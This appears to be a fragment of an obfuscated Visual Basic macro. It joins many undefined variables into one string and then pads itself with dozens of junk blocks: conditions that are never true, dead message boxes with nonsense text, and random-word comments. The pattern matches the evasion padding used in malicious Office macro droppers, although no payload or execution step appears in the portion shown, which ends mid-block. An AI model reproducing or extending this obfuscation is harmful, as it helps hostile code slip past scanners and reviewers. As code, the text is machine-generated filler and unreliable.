ffUxUaoid = QsUeH & viJqOt & NaZTwSe & UTNqa5 & GXsfGZ & n8S9F & WvUGAJe & gB8sBw & gnPDxk & CzMBAA & IDJkU & L5FLET & sut0UZNb & OLHgLBfu & fkuAxq & OaulPX & BggYvxxt & Dlq8ul & kax3mAl & JiMQFQ & iARkxf & o8IDEWH & JSroOBZ & MCv3IS & VEriI & ek7IuO3 & sGnwma8K & HGCSC & VDP8hUV & oq5ih & uyhU6z & sgHHCyij & ZR6F8LDV
Dim rkPvn, BFRHEs, yObczde, YTaGluPP As Long
rkPvn = 79
If 30000 * 1 < rkPvn Then
BFRHEs = 17
yObczde = 17
YTaGluPP = 17
MsgBox "EopbHm", 4096, "EopbHm"
Else
BFRHEs = 151
yObczde = 151
YTaGluPP = 151
End If
Dim Jt9q2mUx As Integer
Dim ZWO3eww As Integer
Dim hmCvQXGoW As Integer
Dim qWtOSj As Integer
Jt9q2mUx = 67
If 30000 * 1 < Jt9q2mUx Then
ZWO3eww = 58
hmCvQXGoW = 58
qWtOSj = 58
MsgBox "mSGsH8", 524288, "mSGsH8"
Else
ZWO3eww = 25
hmCvQXGoW = 25
qWtOSj = 25
End If
Dim LANkTe, uawVH, mOFOMOX, SNb78Y As Long
LANkTe = 90
If 30000 * 1 < LANkTe Then
uawVH = 37
mOFOMOX = 37
SNb78Y = 37
MsgBox "Lr", vbApplicationModal, "Lr"
Else
uawVH = 175
mOFOMOX = 175
SNb78Y = 175
End If
' Feature mountains es bevy
Dim vMlUwiJH, UYaVe, pxZdw0, wCZkxi As Integer
vMlUwiJH = 110
If 30000 * 1 < vMlUwiJH Then
UYaVe = 59
pxZdw0 = 59
wCZkxi = 59
MsgBox "UltrimU", 512, "UltrimU"
Else
UYaVe = 182
pxZdw0 = 182
wCZkxi = 182
End If
Dim UQgIQMz As Integer
Dim BLBvtMk As Integer
Dim QqL2Qj As Integer
Dim DCZFyI As Integer
UQgIQMz = 108
If 30000 * 1 < UQgIQMz Then
BLBvtMk = 46
QqL2Qj = 46
DCZFyI = 46
MsgBox "EcaseE", vbOKCancel, "EcaseE"
Else
BLBvtMk = 42
QqL2Qj = 42
DCZFyI = 42
End If
' Word alumni americanism vietnam groove
Dim xWTx0, DVULQOQ, XyHU2dFA, k7ElHHJ As Long
xWTx0 = 127
If 30000 * 1 < xWTx0 Then
DVULQOQ = 16
XyHU2dFA = 16
k7ElHHJ = 16
MsgBox "doubleCreateobjectWidth", vbRetryCancel, "doubleCreateobjectWidth"
Else
DVULQOQ = 74
XyHU2dFA = 74
k7ElHHJ = 74
End If
Dim UYVfA, L5B0H, xiruM7, iD7DhxZ As Long
UYVfA = 107
If 30000 * 1 < UYVfA Then
L5B0H = 50
xiruM7 = 50
iD7DhxZ = 50
MsgBox "criticized gibson", vbMsgBoxHelpButton, "criticized gibson"
Else
L5B0H = 207
xiruM7 = 207
iD7DhxZ = 207
End If
Dim bVbzb As Integer
Dim upzd5 As Integer
Dim iSQ6pEd As Integer
Dim J1lLd As Integer
bVbzb = 119
If 30000 * 1 < bVbzb Then
upzd5 = 41
iSQ6pEd = 41
J1lLd = 41
MsgBox "Premium fifty-one tits definitive oc prisoners specification", vbDefaultButton4, "Premium fifty-one tits definitive oc prisoners specification"
Else
upzd5 = 193
iSQ6pEd = 193
J1lLd = 193
End If
' Fluffy buccaneer stylus drew papal
Dim MCBjJMe, lOe9WxV, DsObCtJ, brjYs As Integer
MCBjJMe = 96
If 30000 * 1 < MCBjJMe Then
lOe9WxV = 64
DsObCtJ = 64
brjYs = 64
MsgBox "breastwork lamentably monotone archibald snarl knew", vbAbortRetryIgnore, "breastwork lamentably monotone archibald snarl knew"
Else
lOe9WxV = 62
DsObCtJ = 62
brjYs = 62
End If
' Mathematical mit skirts
Dim wsbOzg As Integer
Dim MVFa1H As Integer
Dim gSTph As Integer
Dim HeJesFui As Integer
wsbOzg = 97
If 30000 * 1 < wsbOzg Then
MVFa1H = 24
gSTph = 24
HeJesFui = 24
MsgBox "Pad mold emit sluice", VbMsgBoxSetForeground, "Pad mold emit sluice"
Else
MVFa1H = 177
gSTph = 177
HeJesFui = 177
End If
' Zip pet niagara conserve currants
Dim EtBnNq As Integer
Dim ksUwfs As Integer
Dim bkxStcYSk As Integer
Dim MJlaX As Integer
EtBnNq = 94
If 30000 * 1 < EtBnNq Then
ksUwfs = 23
bkxStcYSk = 23
MJlaX = 23
MsgBox "Cancelled montreal obsequies", 65536, "Cancelled montreal obsequies"
Else
ksUwfs = 29
bkxStcYSk = 29
MJlaX = 29
End If
' Brawn wave prune wampum undiscovered gossamer
Dim bsYW3N As Long
Dim OJGkpEZc As Long
Dim g0aWmMi As Long
Dim K3YY1Go As Long
bsYW3N = 64
If 30000 * 1 < bsYW3N Then
OJGkpEZc = 40
g0aWmMi = 40
K3YY1Go = 40
MsgBox "k", vbSystemModal, "k"
Else
OJGkpEZc = 144
g0aWmMi = 144
K3YY1Go = 144
End If
' Want lewes ss
Dim nkwGC, yjWiOe, DtbbRwpy, vQJwv As Integer
nkwGC = 110
If 30000 * 1 < nkwGC Then
yjWiOe = 17
…